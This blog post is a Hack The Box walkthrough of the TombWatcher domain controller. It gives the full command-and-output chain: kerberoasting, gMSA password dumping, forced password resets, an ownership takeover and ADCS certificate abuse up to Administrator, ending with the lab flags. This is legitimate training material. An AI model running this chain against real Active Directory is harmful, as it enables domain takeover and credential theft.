Hackthebox: TombWatcher

Foued SAIDI Lv5

Overview

TombWatcher is a medium-difficulty machine from Hack The Box dealing initially with a few ACL abuses: WriteSPN, AddSelf, ReadGMSAPassword, ForceChangePassword, WriteOwner and later abusing ADCS by altering the cert admin svc account password to be able to request a certificate as administrator and authenticate with it

TombWatcher-info-card
TombWatcher-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
PORT     STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-13 12:17:29Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2025-06-13T12:19:22+00:00; +3h59m28s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-13T12:19:18+00:00; +3h59m28s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2025-06-13T12:19:22+00:00; +3h59m28s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-13T12:19:18+00:00; +3h59m28s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2025-06-13T12:18:46
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 3h59m26s, deviation: 0s, median: 3h59m27s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 733.11 seconds

We can see that he have a domain controller at our hand resolving to tombwatcher.htb and DC01.tombwatcher.htb. So let’s add these entries to our /etc/hosts file.

We were also provided with user credentials:

1
2
3
- Username: henry
- Password: H3nry_987TGV!

We can directly use those credentials to run bloodhound-python to get a better understanding of the system at hand.

WriteSPN abuse

Directly we jump to checking what our user has as access:

WriteSPN
WriteSPN

Henry can write the SPN for user ALFRED which will allow him to perform kerberoasting attack on him to crack his hash offline. We can do this using the targetedKerberoast tool:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/targetedKerberoast]
└─$ python3 targetedKerberoast.py -v -d 'tombwatcher.htb' -u 'henry' -p 'H3nry_987TGV!'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$45e2b5e98d4c2ac649294216dc076ec5$bb9ef83722c4bb8a10e801131dc9cd855cecd612838088d150d8a84caac792035331447c017b4eadc2e529d09b2402ac411736732446c92a48dbb05a6af620aed2d22928445278537653c487874f9861a2d990fd3332463f24f9d224ab19715bd2c8fab0894f1ac97b1c0ec666bda9b6ae725739b24c364df8b7830c929d33edb00f0ed2285406c345303dfbc7e46f66700e8455104358b5cd3e3b19f3b80e285c0b7ea6e20c15cb68831e907e58fe09ebbfccc8fe071a00cea2e65b2fd82ef26e8db96bf579f137f1e5cf97e9dd842679038371aede7f27d4bf167b49c941b03a7c388c048aa214161e9925759e501bcd4b6e8fc98335f885881e3315580f337c4ba9276471a1996f39c1a8594445574bd19931dbec407a23fa12fb4249ed679b4e60c939bd999400155faf131c08d4ad6563b116361ebe86a8c39d8afb3febcafc88dd2f2f4ca026aa29d26e8969f7306918ef0fcd4e0ed38f55075b35a30ade9eabaa56768c7cfdbe6f73e88e62a89c5b2eceb5e22da55466b2d08af2d328037ef04d27e7c338f01226781c02eb172b55ff1e90a5331fa6377d0f7a97fc425b1a6dc4156ba1dc05090164cca69f2480815b6d22a7ffbe3b46ac42b80783ab4f7fffa2afe8dc13a4f3709f60ef2b97f37701d483bce0a3ef107eaaf38cbd61566ae04aa8a4770edfec8eb1b4e624305e66fe60aef015e713417c961858c4c4d65e20f3496f9dcc3df862bf46bf54f574155a7b7d43582439b9119341376251a42b57fa88e921283770e6d73f19dbfc7cafdd38f83b8da602fe1aa60d788f11ebfeec94a101ea5d0e9ba405704410e13289e4abcb7bb9ed16f1069d011e13ed68715b425a7e4a7668a4dc7ba086bd1abe62e41a1d0747d2a1e27024e4fdb1a53f20ea74450f7f1c06dfcaa4a335ff4ea3c2dc4d6ab36ffd2b8f6a117000e97e70893b273f7b9883dbcf263218064b58d1f3a68dfbf6a38f9c679e3e0fccb4e104576eeb109aa9dc23257db4a6e0229195c56aa9acb48df726f15ab37f8777e86e40ec334ee6ed5182dabe3b24472feb3fc7a7e6e0554e54d8d9e61f9054b83af6c49fba515662ed5beeabea2291bb9f849da51261968879c1d9776099e075aa7a8597698e989c8d4ce41c56c107cdde2ade32d5e1ca660867b3e926cd6d7541df82817ac4e721dd42dcb1e94c58bfd3e004a7fd850cfafd9efe4833ad9944da3679c383d73a761f29c2cdee1734989e4c9cab34d8fe46e2b358f0a2eb5ff239ad622179f56f26a006555d950e3fe759414f78ec18221bb479e2f6d42a7d24abf7e180ed8ebc5d2338023aba018e2a6639ecb3be577daf64536affac7a07e7ad07a6c6e10ba5e05fdf10df84872a1b14e5e206159bb736192e939566e3bf6fe9c04f2803aa6ea812be109a472f1a1cf7345d2eff516f40457a76009649d66dd4e467b288bbf57876a73a51f398a42c245e0b1a3c9a


──(kali㉿kali)-[~/targetedKerberoast]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
basketball (?)
1g 0:00:00:00 DONE (2025-06-13 08:17) 100.0g/s 102400p/s 102400c/s 102400C/s 123456..bethany
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We get ALFRED’s password: basketball

AddSelf to INFRASTRUCTURE group

Moving forward, ALFRED can add himself to INFRASTRUCTURE group:

AddSelf
AddSelf

1
2
3
┌──(kali㉿kali)-[~/targetedKerberoast]
└─$ bloodyAD -u 'alfred' -p 'basketball' -d tombwatcher.htb --dc-ip 10.10.11.72 add groupMember INFRASTRUCTURE 'alfred'
[+] alfred added to INFRASTRUCTURE

ReadGMSAPassword of ANSIBLE_DEVS$

And that group can later read the GMSA passwords of ANSIBLE_DEVS$ machine account:

ReadGMSAPassword
ReadGMSAPassword

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/gMSADumper]
└─$ python3 gMSADumper.py -u 'alfred' -p 'basketball' -d 'tombwatcher.htb'
Users or groups who can read password for ansible_dev$:
> Infrastructure
ansible_dev$:::1c37d00093dc2a5f25176bf2d474afdc
ansible_dev$:aes256-cts-hmac-sha1-96:526688ad2b7ead7566b70184c518ef665cc4c0215a1d634ef5f5bcda6543b5b3
ansible_dev$:aes128-cts-hmac-sha1-96:91366223f82cd8d39b0e767f0061fd9a

ForceChangePassword for SAM

The machine account can forcibly change the password of SAM user:

ForceChangePassword
ForceChangePassword

1
2
3
┌──(kali㉿kali)-[~/gMSADumper]
└─$ bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u 'ansible_dev$' -p :1c37d00093dc2a5f25176bf2d474afdc set password 'SAM' 'kujenPassword123'
[+] Password changed successfully!

WriteOwner on JOHN

SAM user can now change who the owner of JOHN user is:

WriteOwner
WriteOwner

We abuse this and get the user flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali㉿kali)-[~/gMSADumper]
└─$ impacket-owneredit -action write -target 'john' -new-owner 'sam' 'tombwatcher.htb/sam':'kujenPassword123' -dc-ip 10.10.11.72
Impacket v0.13.0.dev0+20250430.174957.756ca96e - Copyright Fortra, LLC and its affiliated companies

[*] Current owner information below
[*] - SID: S-1-5-21-1392491010-1358638721-2126982587-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=tombwatcher,DC=htb
[*] OwnerSid modified successfully!


┌──(kali㉿kali)-[~/gMSADumper]
└─$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u SAM -p 'kujenPassword123' add genericAll JOHN 'SAM'
[+] SAM has now GenericAll on JOHN

┌──(kali㉿kali)-[~/gMSADumper]
└─$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u SAM -p 'kujenPassword123' set password JOHN 'kujenPassword123'
[+] Password changed successfully!

┌──(kali㉿kali)-[~/gMSADumper]
└─$ evil-winrm -i dc01.tombwatcher.htb -u john -p 'kujenPassword123'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\john\Documents> cat ../desktop/user.txt
2849b114cb5c9d6ab7bc670a587b71eb

ADCS abuse to administrator

Checking the certificate templates with certipy, we can see that user with rid 1111 has Enrollment Rights/Write Property Enroll on the WebServer template, we can also find that user on the deleted user list:

1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\john\Documents> Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects -Properties objectSid, lastKnownParent, ObjectGUID | Select-Object Name, ObjectGUID, objectSid, lastKnownParent | Format-List


Name : cert_admin_temp2
DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1111
lastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb


*Evil-WinRM* PS C:\Users\john\Documents> Restore-ADObject -Identity '938182c3-bf0b-410a-9aaa-45c8e1a02eb

First lets change the password of cert_admin user then request a certificate for administrator:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/Certipy]
└─$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u JOHN -p 'kujenPassword123' set password cert_admin 'kujenPassword123'
[+] Password changed successfully!

┌──(kali㉿kali)-[~/Certipy]
└─$ certipy req -u '[email protected]' -p 'kujenPassword123' -target dc01.tombwatcher.htb -ca 'tombwatcher-CA-1' -template 'WebServer' -upn 'Administrator' -application-policies 'Client Authentication'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: dc01.tombwatcher.htb.
[!] Use -debug to print a stacktrace
[!] DNS resolution failed: The DNS query name does not exist: TOMBWATCHER.HTB.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

now we authenticate with the cert and get our Administrator access:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(kali㉿kali)-[~/Certipy]
└─$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72 -domain tombwatcher.htb -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*] SAN UPN: 'Administrator'
[*] Connecting to 'ldaps://10.10.11.72:636'
[*] Authenticated to '10.10.11.72' as: 'u:TOMBWATCHER\\Administrator'
Type help for list of commands

# change_password kujenPassword123
can only concatenate str (not "NoneType") to str

# change_password Administrator kujenPassword123
Got User DN: CN=Administrator,CN=Users,DC=tombwatcher,DC=htb
Attempting to set new password of: kujenPassword123
Password changed successfully!

# exit
Bye!

┌──(kali㉿kali)-[~/Certipy]
└─$ evil-winrm -u administrator -i 10.10.11.72 -p 'kujenPassword123'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../desktop/root.txt
cbda335dca1be32fb74a7e97ffb93519
*Evil-WinRM* PS C:\Users\Administrator\Documents>

That was it for TombWatcher, hope you learned something new!
-0xkujen

  • Title: Hackthebox: TombWatcher
  • Author: Foued SAIDI
  • Created at : 2025-10-11 12:22:48
  • Updated at : 2025-10-11 12:41:32
  • Link: https://kujen5.github.io/2025/10/11/Hackthebox-TombWatcher/
  • License: This work is licensed under CC BY-NC-SA 4.0.